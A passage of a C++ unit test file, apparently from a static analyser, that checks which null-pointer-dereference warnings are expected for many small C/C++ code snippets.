errout_str());\n\n check(\"void foo(int *p)\\n\"\n \"{\\n\"\n \" int var1 = p ? *p : 0;\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p, bool x)\\n\"\n \"{\\n\"\n \" int var1 = x ? *p : 5;\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:21]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n // while\n check(\"void f(int *p) {\\n\"\n \" *p = 0;\\n\"\n \" while (p) { p = 0; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p) {\\n\"\n \" *p = 0;\\n\"\n \" while (p) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12] -> [test.cpp:2:6]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n // Ticket #3125\n check(\"void foo(ABC *p)\\n\"\n \"{\\n\"\n \" int var1 = p ? (p->a) : 0;\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(ABC *p)\\n\"\n \"{\\n\"\n \" int var1 = p ? (1 + p->a) : 0;\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int * a=0;\\n\"\n \" if (!a) {};\\n\"\n \" int c = a ? 0 : 1;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3686\n check(\"void f() {\\n\"\n \" int * a=0;\\n\"\n \" if (!a) {};\\n\"\n \" int c = a ? b : b+1;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int * a=0;\\n\"\n \" if (!a) {};\\n\"\n \" int c = (a) ? b : b+1;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(P *p)\\n\"\n \"{\\n\"\n \" while (p)\\n\"\n \" if (p->check())\\n\"\n \" break;\\n\"\n \" else\\n\"\n \" p = p->next();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(Document *doc) {\\n\"\n \" int x = doc && doc->x;\\n\"\n \" if (!doc) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3128 - false positive\n check(\"void f(int *p) {\\n\"\n \" assert(!p || (*p<=6));\\n\"\n \" if (p) { *p = 0; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p) {\\n\"\n \" assert(p && (*p<=6));\\n\"\n \" if (p) { *p = 0; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p) {\\n\"\n \" *p = 12;\\n\"\n \" assert(p && (*p<=6));\\n\"\n \" if (p) { *p = 0; }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12] -> [test.cpp:2:6]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"void foo(x *p)\\n\"\n \"{\\n\"\n \" p = p->next;\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(x *p)\\n\"\n \"{\\n\"\n \" p = bar(p->next);\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(x *p)\\n\"\n \"{\\n\"\n \" p = aa->bar(p->next);\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(x *p)\\n\"\n \"{\\n\"\n \" p = *p2 = p->next;\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(struct ABC *abc)\\n\"\n \"{\\n\"\n \" abc = abc ? abc->next : 0;\\n\"\n \" if (!abc)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct ABC *abc) {\\n\" // #4523\n \" abc = (*abc).next;\\n\"\n \" if (abc) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct ABC *abc) {\\n\" // #4523\n \" abc = (*abc->ptr);\\n\"\n \" if (abc) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(Item *item) {\\n\"\n \" x = item ? ab(item->x) : 0;\\n\"\n \" if (item) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(Item *item) {\\n\"\n \" item->x = 0;\\n\"\n \" a = b ? c : d;\\n\"\n \" if (item) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:2:5]: (warning) Either the condition 'item' is redundant or there is possible null pointer dereference: item. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"BOOL GotoFlyAnchor()\\n\" // #2243\n \"{\\n\"\n \" const SwFrm* pFrm = GetCurrFrm();\\n\"\n \" do {\\n\"\n \" pFrm = pFrm->GetUpper();\\n\"\n \" } while( pFrm && !pFrm->IsFlyFrm() );\\n\"\n \"\\n\"\n \" if( !pFrm )\\n\"\n \" return FALSE;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2463\n check(\"struct A\\n\"\n \"{\\n\"\n \" B* W;\\n\"\n \"\\n\"\n \" void f() {\\n\"\n \" switch (InData) {\\n\"\n \" case 2:\\n\"\n \" if (!W) return;\\n\"\n \" W->foo();\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" f();\\n\"\n \" if (!W) return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2525 - sizeof\n check(\"void f() {\\n\"\n \" int *test = NULL;\\n\"\n \" int c = sizeof(test[0]);\\n\"\n \" if (!test)\\n\"\n \" ;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(type* p) {\\n\" // #4983\n \" x(sizeof p[0]);\\n\"\n \" if (!p)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3023 - checked deref\n check(\"void f(struct ABC *abc) {\\n\"\n \" WARN_ON(!abc || abc->x == 0);\\n\"\n \" if (!abc) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(struct ABC *abc) {\\n\"\n \" WARN_ON(!abc || abc->x == 7);\\n\"\n \" if (!abc) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3425 - false positives when there are macros\n checkP(\"#define IF if\\n\"\n \"void f(int *p) {\\n\"\n \" *p = 0;\\n\"\n \" IF(!p){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #3914 - false positive\n \" int *p;\\n\"\n \" ((p=ret()) && (x=*p));\\n\"\n \" if (p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { struct T { char c; } *p; };\\n\" // #6541\n \"char f(S* s) { return s->p ? 'a' : s->p->c; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:24] -> [test.cpp:2:37]: (warning) Either the condition 's->p' is redundant or there is possible null pointer dereference: s->p. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n void nullpointer5() {\n // errors..\n check(\"void foo(A &a)\\n\"\n \"{\\n\"\n \" char c = a.c();\\n\"\n \" if (!a)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Execution paths..\n void nullpointerExecutionPaths() {\n // errors..\n check(\"static void foo()\\n\"\n \"{\\n\"\n \" Foo *p = 0;\\n\"\n \" if (a == 1) {\\n\"\n \" p = new FooBar;\\n\"\n \" } else { if (a == 2) {\\n\"\n \" p = new FooCar; } }\\n\"\n \" p->abcd();\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8]: (error) Possible null pointer dereference: p\\n\",\n \"\", errout_str());\n\n check(\"static void foo() {\\n\"\n \" int &r = *(int*)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Null pointer dereference: (int*)0 [nullPointer]\\n\", errout_str());\n\n check(\"static void foo(int x) {\\n\"\n \" int y = 5 + *(int*)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Null pointer dereference: (int*)0 [nullPointer]\\n\", errout_str());\n\n {\n const char code[] = \"static void foo() {\\n\"\n \" Foo *abc = 0;\\n\"\n \" abc->a();\\n\"\n \"}\\n\";\n\n check(code);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Null pointer dereference: abc [nullPointer]\\n\", errout_str());\n }\n\n check(\"static void foo() {\\n\"\n \" std::cout << *(int*)0;\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (error) Null pointer dereference: (int*)0 [nullPointer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *c = 0;\\n\"\n \" {\\n\"\n \" delete c;\\n\"\n \" }\\n\"\n \" c[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Null pointer dereference: c [nullPointer]\\n\", errout_str());\n\n check(\"static void foo() {\\n\"\n \" if (3 > *(int*)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Null pointer dereference: (int*)0 [nullPointer]\\n\", errout_str());\n\n // no false positive..\n check(\"static void foo()\\n\"\n \"{\\n\"\n \" Foo *p = 0;\\n\"\n \" p = new Foo;\\n\"\n \" p->abcd();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sz = sizeof((*(struct dummy *)0).x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_offset(long &offset)\\n\"\n \"{\\n\"\n \" mystruct * temp; temp = 0;\\n\"\n \" offset = (long)(&(temp->z));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #1893 - try/catch inside else\n check(\"int *test(int *Z)\\n\"\n \"{\\n\"\n \" int *Q=NULL;\\n\"\n \" if (Z) {\\n\"\n \" Q = Z;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" Z = new int;\\n\"\n \" try {\\n\"\n \" } catch(...) {\\n\"\n \" }\\n\"\n \" Q = Z;\\n\"\n \" }\\n\"\n \" *Q=1;\\n\"\n \" return Q;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int *test(int *Z)\\n\"\n \"{\\n\"\n \" int *Q=NULL;\\n\"\n \" if (Z) {\\n\"\n \" Q = Z;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" try {\\n\"\n \" } catch(...) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" *Q=1;\\n\"\n \" return Q;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:6]: (warning) Possible null pointer dereference: Q [nullPointer]\\n\", errout_str());\n\n // Ticket #2052 (false positive for 'else continue;')\n check(\"void f() {\\n\"\n \" for (int x = 0; x < 5; ++x) {\"\n \" int *p = 0;\\n\"\n \" if (a(x)) p=b(x);\\n\"\n \" else continue;\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function pointer..\n check(\"void foo()\\n\"\n \"{\\n\"\n \" void (*f)();\\n\"\n \" f = 0;\\n\"\n \" f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (error) Null pointer dereference: f [nullPointer]\\n\", errout_str());\n\n check(\"int* g();\\n\" // #11007\n \"int* f() {\\n\"\n \" static int* (*fun)() = 0;\\n\"\n \" if (!fun)\\n\"\n \" fun = g;\\n\"\n \" return fun();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // loops..\n check(\"void f() {\\n\"\n \" int *p = 0;\\n\"\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" int x = *p + 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" const char *p = 0;\\n\"\n \" if (a) {\\n\"\n \" p = \\\"abcd\\\";\\n\"\n \" }\\n\"\n \" for (int i = 0; i < 3; i++) {\\n\"\n \" if (a && (p[i] == '1'));\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #2251: taking the address of member\n check(\"void f() {\\n\"\n \" Fred *fred = 0;\\n\"\n \" int x = &fred->x;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3220: dereferencing a null pointer is UB\n check(\"void f() {\\n\"\n \" Fred *fred = NULL;\\n\"\n \" fred->do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Null pointer dereference: fred [nullPointer]\\n\", errout_str());\n\n // ticket #3570 - parsing of conditions\n {\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" if (x)\\n\"\n \" p = q;\\n\"\n \" if (p && *p) { }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" if (x)\\n\"\n \" p = q;\\n\"\n \" if (!p || *p) { }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" if (x)\\n\"\n \" p = q;\\n\"\n \" if (p || *p) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:15]: (warning) Possible null pointer dereference: p [nullPointer]\\n\", errout_str());\n }\n\n // ticket #8831 - FP triggered by if/return/else sequence\n {\n check(\"void f(int *p, int *q) {\\n\"\n \" if (p == NULL)\\n\"\n \" return;\\n\"\n \" else if (q == NULL)\\n\"\n \" return;\\n\"\n \" *q = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void g() {\\n\"\n \" f(NULL, NULL);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() {\\n\" // #5979\n \" int* const crash = 0;\\n\"\n \" *crash = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Null pointer dereference: crash [nullPointer]\\n\", errout_str());\n }\n\n // Ticket #2350\n void nullpointerExecutionPathsLoop() {\n // No false positive:\n check(\"void foo() {\\n\"\n \" int n;\\n\"\n \" int *argv32 = p;\\n\"\n \" if (x) {\\n\"\n \" n = 0;\\n\"\n \" argv32 = 0;\\n\"\n \" }\\n\"\n \"\\n\"\n \" for (int i = 0; i < n; i++) {\\n\"\n \" argv32[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // No false negative:\n check(\"void foo() {\\n\"\n \" int n;\\n\"\n \" int *argv32;\\n\"\n \" if (x) {\\n\"\n \" n = 10;\\n\"\n \" argv32 = 0;\\n\"\n \" }\\n\"\n \"\\n\"\n \" for (int i = 0; i < n; i++) {\\n\"\n \" argv32[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:9]: (warning) Possible null pointer dereference: argv32 [nullPointer]\\n\", errout_str());\n\n // #2231 - error if assignment in loop is not used\n // extracttests.start: int y[20];\n check(\"void f() {\\n\"\n \" char *p = 0;\\n\"\n \"\\n\"\n \" for (int x = 0; x < 3; ++x) {\\n\"\n \" if (y[x] == 0) {\\n\"\n \" p = (char *)malloc(10);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:6]: (warning) Possible null pointer dereference: p [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer7() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" wxLongLong x = 0;\\n\"\n \" int y = x.GetValue();\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer9() { //#ticket 1778\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::string * x = 0;\\n\"\n \" *x = \\\"test\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Null pointer dereference: x [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer10() {\n // extracttests.start: struct my_type { int x; };\n check(\"void foo()\\n\"\n \"{\\n\"\n \" struct my_type* p = 0;\\n\"\n \" p->x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer11() { // ticket #2812\n // extracttests.start: struct my_type { int x; };\n\n check(\"int foo()\\n\"\n \"{\\n\"\n \" struct my_type* p;\\n\"\n \" p = 0;\\n\"\n \" return p->x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer12() { // ticket #2470, #4035\n const char code[] = \"int foo()\\n\"\n \"{\\n\"\n \" int* i = nullptr;\\n\"\n \" return *i;\\n\"\n \"}\\n\";\n\n check(code); // C++ file => nullptr means NULL\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Null pointer dereference: i [nullPointer]\\n\", errout_str());\n\n check(code, dinit(CheckOptions, $.cpp = false, $.cstd = Standards::C17)); // C17 file => nullptr does not mean NULL\n ASSERT_EQUALS(\"\", errout_str());\n\n check(code, dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:4:11]: (error) Null pointer dereference: i [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer15() { // #3560\n check(\"void f() {\\n\"\n \" char *p = 0;\\n\"\n \" if (x) p = \\\"abcd\\\";\\n\"\n \" return p ? f(*p) : f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer16() { // #3591\n check(\"void foo() {\\n\"\n \" int *p = 0;\\n\"\n \" bar(&p);\\n\"\n \" *p = 0;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer17() { // #3567\n check(\"int foo() {\\n\"\n \" int *p = 0;\\n\"\n \" if (x) { return 0; }\\n\"\n \" return !p || *p;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" int *p = 0;\\n\"\n \" if (x) { return 0; }\\n\"\n \" return p && *p;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer18() { // #1927\n check(\"void f ()\\n\"\n \"{\\n\"\n \" int i=0;\\n\"\n \" char *str=NULL;\\n\"\n \" while (str[i])\\n\"\n \" {\\n\"\n \" i++;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Null pointer dereference: str [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer19() { // #3811\n check(\"int foo() {\\n\"\n \" perror(0);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer20() { // #3807\n check(\"void f(int x) {\\n\"\n \" struct xy *p = 0;\\n\"\n \" if (x) p = q;\\n\"\n \" if (p ? p->x || p->y : 0) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\" // false negative\n \" struct xy *p = 0;\\n\"\n \" if (x) p = q;\\n\"\n \" if (y ? p->x : p->y) { }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (warning) Possible null pointer dereference: p\\n\", \"\", errout_str());\n }\n\n void nullpointer21() { // #4038 - fp: if (x) p=q; else return;\n check(\"void f(int x) {\\n\"\n \" int *p = 0;\\n\"\n \" if (x) p = q;\\n\"\n \" else return;\\n\"\n \" *p = 0;\\n\" // <- p is not NULL\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer23() { // #4665\n check(\"void f(){\\n\"\n \" char *c = NULL;\\n\"\n \" char cBuf[10];\\n\"\n \" sprintf(cBuf, \\\"%s\\\", c ? c : \\\"0\\\" );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void nullpointer24() { // #5083 - fp: chained assignment\n check(\"void f(){\\n\"\n \" char *c = NULL;\\n\"\n \" x = c = new char[10];\\n\"\n \" *c = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer25() { // #5061\n check(\"void f(int *data, int i)\\n\"\n \"{\\n\"\n \" int *array = NULL;\\n\"\n \" if (data == 1 && array[i] == 0)\\n\"\n \" std::cout << \\\"test\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (error) Null pointer dereference: array [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer26() { // #3589\n check(\"double foo() {\\n\"\n \" sk *t1 = foo();\\n\"\n \" sk *t2 = foo();\\n\"\n \" if ((!t1) && (!t2))\\n\"\n \" return 0.0;\\n\"\n \" if (t1 && (!t2))\\n\"\n \" return t1->Inter();\\n\"\n \" if (t2->GetT() == t)\\n\"\n \" return t2->Inter();\\n\"\n \" if (t2 && (!t1))\\n\"\n \" return 0.0;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer27() { // #6568\n check(\"template\\n\"\n \"class Foo {\\n\"\n \" Foo& operator = ( Type* );\\n\"\n \"};\\n\"\n \"template\\n\"\n \"Foo& Foo::operator = ( Type* pointer_ ) {\\n\"\n \" pointer_=NULL;\\n\"\n \" *pointer_=0;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:6]: (error) Null pointer dereference: pointer_ [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer28() { // #6491\n check(\"typedef struct { int value; } S;\\n\"\n \"int f(const S *s) {\\n\"\n \" int i = s ? s->value + 1\\n\"\n \" : s->value - 1; // <-- null ptr dereference\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11] -> [test.cpp:4:15]: (warning) Either the condition 's' is redundant or there is possible null pointer dereference: s. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n void nullpointer30() { // #6392\n check(\"void f(std::vector *values)\\n\"\n \"{\\n\"\n \" values->clear();\\n\"\n \" if (values)\\n\"\n \" {\\n\"\n \" for (int i = 0; i < values->size(); ++i)\\n\"\n \" {\\n\"\n \" values->push_back(\\\"test\\\");\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:7] -> [test.cpp:3:3]: (warning) Either the condition 'values' is redundant or there is possible null pointer dereference: values. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n void nullpointer31() { // #8482\n check(\"struct F\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void foo(F* f)\\n\"\n \"{\\n\"\n \" if( f ) {}\\n\"\n \" else { return; }\\n\"\n \" (void)f->x;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef struct\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \"} F;\\n\"\n \"\\n\"\n \"static void foo(F* f)\\n\"\n \"{\\n\"\n \" if( !f || f->x == 0 )\\n\"\n \" {\\n\"\n \" if( !f )\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" (void)f->x;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer32() { // #8460\n check(\"int f(int * ptr) {\\n\"\n \" if(ptr)\\n\"\n \" { return 0;}\\n\"\n \" else{\\n\"\n \" int *p1 = ptr;\\n\"\n \" return *p1;\\n\"\n \" }\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:6] -> [test.cpp:6:13]: (warning) Either the condition 'ptr' is redundant or there is possible null pointer dereference: p1. [nullPointerRedundantCheck]\\n\", errout_str());\n }\n\n void nullpointer33() {\n check(\"void f(int * x) {\\n\"\n \" if (x != nullptr)\\n\"\n \" *x = 2;\\n\"\n \" else\\n\"\n \" *x = 3;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:5:10]: (warning) Either the condition 'x!=nullptr' is redundant or there is possible null pointer dereference: x. [nullPointerRedundantCheck]\\n\", errout_str());\n }\n\n void nullpointer34() {\n check(\"void g() {\\n\"\n \" throw \" \";\\n\"\n \"}\\n\"\n \"bool f(int * x) {\\n\"\n \" if (x) *x += 1;\\n\"\n \" if (!x) g();\\n\"\n \" return *x;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer35() {\n check(\"bool f(int*);\\n\"\n \"void g(int* x) {\\n\"\n \" if (f(x)) {\\n\"\n \" *x = 1;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void h() {\\n\"\n \" g(0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int*);\\n\"\n \"void g(int* x) {\\n\"\n \" bool b = f(x);\\n\"\n \" if (b) {\\n\"\n \" *x = 1;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void h() {\\n\"\n \" g(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer36() {\n check(\"char* f(char* s) {\\n\"\n \" char* start = s;\\n\"\n \" if (!s)\\n\"\n \" return (s);\\n\"\n \" while (isspace(*start))\\n\"\n \" start++;\\n\"\n \" return (start);\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer37() {\n check(\"void f(int value, char *string) {\\n\"\n \" char *ptr1 = NULL, *ptr2 = NULL;\\n\"\n \" unsigned long count = 0;\\n\"\n \" if(!string)\\n\"\n \" return;\\n\"\n \" ptr1 = string;\\n\"\n \" ptr2 = strrchr(string, 'a');\\n\"\n \" if(ptr2 == NULL)\\n\"\n \" return;\\n\"\n \" while(ptr1 < ptr2) {\\n\"\n \" count++;\\n\"\n \" ptr1++;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer38() {\n check(\"void f(int * x) {\\n\"\n \" std::vector v;\\n\"\n \" if (x) {\\n\"\n \" v.push_back(x);\\n\"\n \" *x;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer39() {\n check(\"struct A { int * x; };\\n\"\n \"void f(struct A *a) {\\n\"\n \" if (a->x == NULL) {}\\n\"\n \" *(a->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:14] -> [test.cpp:4:8]: (warning) Either the condition 'a->x==NULL' is redundant or there is possible null pointer dereference: a->x. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n void nullpointer40() {\n check(\"struct A { std::unique_ptr x; };\\n\"\n \"void f(struct A *a) {\\n\"\n \" if (a->x == nullptr) {}\\n\"\n \" *(a->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:14] -> [test.cpp:4:8]: (warning) Either the condition 'a->x==nullptr' is redundant or there is possible null pointer dereference: a->x. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n void nullpointer41() {\n check(\"struct A { int * g() const; };\\n\"\n \"void f(struct A *a) {\\n\"\n \" if (a->g() == nullptr) {}\\n\"\n \" *(a->g());\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:16] -> [test.cpp:4:11]: (warning) Either the condition 'a->g()==nullptr' is redundant or there is possible null pointer dereference: a->g(). 